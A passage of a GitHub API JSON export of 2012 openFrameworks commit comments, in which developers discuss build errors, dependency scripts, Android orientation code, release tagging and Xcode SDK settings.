task"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975681","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975681","id":1975681,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T17:16:55Z","updated_at":"2012-10-10T17:16:55Z","body":"I understand. The only way I found is using an empty passphrase for the key (and then probably it's wisest to use a separate key for the packaging server). I guess it's just less complicated to use https"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975700","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975700","id":1975700,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T17:20:10Z","updated_at":"2012-10-10T17:20:10Z","body":"yes, i actually have a different key for the server but i don't really want to have an empty passphrase and setting it to https shouldn't be any problem for everybody else since that address is only used to update the submodule"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1989081","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1989081","id":1989081,"user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-10-12T19:25:41Z","updated_at":"2012-10-12T19:27:28Z","body":"I am not able to compile the oscSenderExample under Windows 7/VS2010 unless I comment out the line `typedef long int32_t;` in OF/Dev 6f9c02fef3a6d201acb1b0a61e2fc343a376d1c2"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1989108","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1989108","id":1989108,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-10-12T19:34:47Z","updated_at":"2012-10-12T19:34:47Z","body":"hm this confirms my fears from my second comment. @gameoverhack could you take a look at this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2028377","html_url":"https://github.com/openframeworks/openFrameworks/commit/c97249ed24126ae9998710940bcf30d1f6673eec#commitcomment-2028377","id":2028377,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":19,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"c97249ed24126ae9998710940bcf30d1f6673eec","created_at":"2012-10-21T08:13:23Z","updated_at":"2012-10-21T08:13:23Z","body":"@arturoc I'm curious, why did you replace `libjack0 libjack-dev` by `libjack-jackd2-dev`?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2028429","html_url":"https://github.com/openframeworks/openFrameworks/commit/c97249ed24126ae9998710940bcf30d1f6673eec#commitcomment-2028429","id":2028429,"user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following{/other_user}","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"position":19,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"c97249ed24126ae9998710940bcf30d1f6673eec","created_at":"2012-10-21T08:57:12Z","updated_at":"2012-10-21T08:57:12Z","body":"I think its #1352"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2028455","html_url":"https://github.com/openframeworks/openFrameworks/commit/c97249ed24126ae9998710940bcf30d1f6673eec#commitcomment-2028455","id":2028455,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":19,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"c97249ed24126ae9998710940bcf30d1f6673eec","created_at":"2012-10-21T09:27:05Z","updated_at":"2012-10-21T09:27:05Z","body":"hm, could be the new portaudio version? But then, why does, e.g., the debian script continue to install `libjack-dev` (not changed in this commit)?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2028642","html_url":"https://github.com/openframeworks/openFrameworks/commit/c97249ed24126ae9998710940bcf30d1f6673eec#commitcomment-2028642","id":2028642,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":19,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"c97249ed24126ae9998710940bcf30d1f6673eec","created_at":"2012-10-21T12:19:23Z","updated_at":"2012-10-21T12:19:23Z","body":"yes, this solves #1352, i forgot to change it in debian and probably other distributions scripts need to be updated too"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2029239","html_url":"https://github.com/openframeworks/openFrameworks/commit/c97249ed24126ae9998710940bcf30d1f6673eec#commitcomment-2029239","id":2029239,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":19,"line":13,"path":"scripts/linux/ubuntu/install_dependencies.sh","commit_id":"c97249ed24126ae9998710940bcf30d1f6673eec","created_at":"2012-10-21T19:35:14Z","updated_at":"2012-10-21T19:35:23Z","body":"will you do this in the near-future, or should we open an issue for that, so that we don't forget?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2074861","html_url":"https://github.com/openframeworks/openFrameworks/commit/87cbf1b3992950cce1e29d70f3e84bf823cbf5ce#commitcomment-2074861","id":2074861,"user":{"login":"Maigre","id":702145,"avatar_url":"https://secure.gravatar.com/avatar/af64661376fe5d326a307ce9dbe3562d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"af64661376fe5d326a307ce9dbe3562d","url":"https://api.github.com/users/Maigre","html_url":"https://github.com/Maigre","followers_url":"https://api.github.com/users/Maigre/followers","following_url":"https://api.github.com/users/Maigre/following{/other_user}","gists_url":"https://api.github.com/users/Maigre/gists{/gist_id}","starred_url":"https://api.github.com/users/Maigre/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Maigre/subscriptions","organizations_url":"https://api.github.com/users/Maigre/orgs","repos_url":"https://api.github.com/users/Maigre/repos","events_url":"https://api.github.com/users/Maigre/events{/privacy}","received_events_url":"https://api.github.com/users/Maigre/received_events","type":"User"},"position":23,"line":520,"path":"addons/ofxAndroid/ofAndroidLib/src/cc/openframeworks/OFAndroid.java","commit_id":"87cbf1b3992950cce1e29d70f3e84bf823cbf5ce","created_at":"2012-10-30T16:59:27Z","updated_at":"2012-10-30T16:59:27Z","body":"replace with \r\nOFAndroid.orientation = orientation;\r\n?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2074868","html_url":"https://github.com/openframeworks/openFrameworks/commit/87cbf1b3992950cce1e29d70f3e84bf823cbf5ce#commitcomment-2074868","id":2074868,"user":{"login":"Maigre","id":702145,"avatar_url":"https://secure.gravatar.com/avatar/af64661376fe5d326a307ce9dbe3562d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"af64661376fe5d326a307ce9dbe3562d","url":"https://api.github.com/users/Maigre","html_url":"https://github.com/Maigre","followers_url":"https://api.github.com/users/Maigre/followers","following_url":"https://api.github.com/users/Maigre/following{/other_user}","gists_url":"https://api.github.com/users/Maigre/gists{/gist_id}","starred_url":"https://api.github.com/users/Maigre/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Maigre/subscriptions","organizations_url":"https://api.github.com/users/Maigre/orgs","repos_url":"https://api.github.com/users/Maigre/repos","events_url":"https://api.github.com/users/Maigre/events{/privacy}","received_events_url":"https://api.github.com/users/Maigre/received_events","type":"User"},"position":12,"line":256,"path":"addons/ofxAndroid/ofAndroidLib/src/cc/openframeworks/OFAndroid.java","commit_id":"87cbf1b3992950cce1e29d70f3e84bf823cbf5ce","created_at":"2012-10-30T17:00:08Z","updated_at":"2012-10-30T17:00:08Z","body":"replace with \r\nif(OFAndroid.orientation != -1) OFAndroid.setScreenOrientation(OFAndroid.orientation);\r\n?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2080254","html_url":"https://github.com/openframeworks/openFrameworks/commit/09f01def0611efcd53e486888be74673ab265d57#commitcomment-2080254","id":2080254,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"09f01def0611efcd53e486888be74673ab265d57","created_at":"2012-10-31T12:53:03Z","updated_at":"2012-10-31T12:56:55Z","body":"May I inquire who moved the 0072 tag to this commit? I'd appreciate if people a) would announce this somewhere, so other people can update their repo, and more importantly b) make sure that a **release tag** actually points to a commit on the **master branch**, i.e. at least merge the relevant commit into master. :angry: \r\n\r\nAside of that, we should really not be moving tags so often after release, also because tag updates are not fetched by default in git, and confusion can arise from people having tags point to two different commits, and from having to explain to people that current master, last-release tag, and OF.cc download are actually three different things now. makes for some fun trying to debug things like [this](https://github.com/openframeworks/openFrameworks/issues/1670#issuecomment-9942863) - Not?\r\n\r\n\r\n@arturoc was that you?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2093951","html_url":"https://github.com/openframeworks/openFrameworks/commit/9bbdf2149b9c3885e7e44f82e164341654536f3e#commitcomment-2093951","id":2093951,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":100,"path":"libs/openFrameworksCompiled/project/android/makefile","commit_id":"9bbdf2149b9c3885e7e44f82e164341654536f3e","created_at":"2012-11-02T15:11:31Z","updated_at":"2012-11-02T15:11:31Z","body":"curious, why the `\"` for some files, but not all - does it make an actual difference?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2093959","html_url":"https://github.com/openframeworks/openFrameworks/commit/15ba0e02eaa2568edd7aa6f42ccdb73058743c36#commitcomment-2093959","id":2093959,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"15ba0e02eaa2568edd7aa6f42ccdb73058743c36","created_at":"2012-11-02T15:13:22Z","updated_at":"2012-11-02T15:13:22Z","body":"is this a fix against #1662? if yes, can we close that issue now?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2097653","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2097653","id":2097653,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-03T16:52:06Z","updated_at":"2012-11-03T16:52:06Z","body":"for me, on 10.6.8 this causes the error \"there is no sdk 'macosx'\"\r\n\r\ni opened the openFrameworks project properties and changed the sdk to \"current os\", and now the pbxproj says `SDKROOT = \"\"` and it works.\r\n\r\ni must have not needed to recompile OF since you made this change? not sure how i didn't see it before."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2098207","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2098207","id":2098207,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-03T23:23:49Z","updated_at":"2012-11-03T23:23:49Z","body":"huh - weird.\nwhich version of xcode? \n\non my Xcode ( 3.2.6 ) the example compiles file with SDKROOT = \"macosx\""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2098321","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2098321","id":2098321,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-04T00:54:55Z","updated_at":"2012-11-04T00:54:55Z","body":"3.2.2. could you also check if your works with `\"\"` or only with `macosx` (which i'm pretty sure is the current format, not `\"macosx\"` with quotes as you wrote)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2098359","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2098359","id":2098359,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-04T01:32:51Z","updated_at":"2012-11-04T01:32:51Z","body":"Just checked.\r\nSeems to work fine for me with either. \r\n\r\nSo maybe SDKROOT = \"\" ( ignore quotes ) is the way to go for better backwards compatibility?\r\n\r\nJust as a quick sanity check can you try the 0072 release from: http://www.openframeworks.cc/versions/v0072/of_v0072_osx_release.zip\r\n\r\nAll the examples have the SDKROOT=macosx - so if those run fine for you it could be an issue with the repo. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2098365","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2098365","id":2098365,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-04T01:34:33Z","updated_at":"2012-11-04T01:34:33Z","body":"yeah i'll give 0072 another check to make sure it's not just something weird on my end, or with the repo."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2098370","html_url":"https://github.com/openframeworks/openFrameworks/commit/cef7ff35149a9c7deccce36c0df4a760674fa9de#commitcomment-2098370","id":2098370,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"cef7ff35149a9c7deccce36c0df4a760674fa9de","created_at":"2012-11-04T01:42:34Z","updated_at":"2012-11-04T01:42:34Z","body":"nope, when i run 0072 it also gives the error: `error: There is no SDK with the name or path 'macosx'` :(\r\n\r\ni hope it's just 3.2.2 (which probably is a very small minority of people) but if `\"\"` works everywhere then we should definitely switch to that in the next release. i'll add an 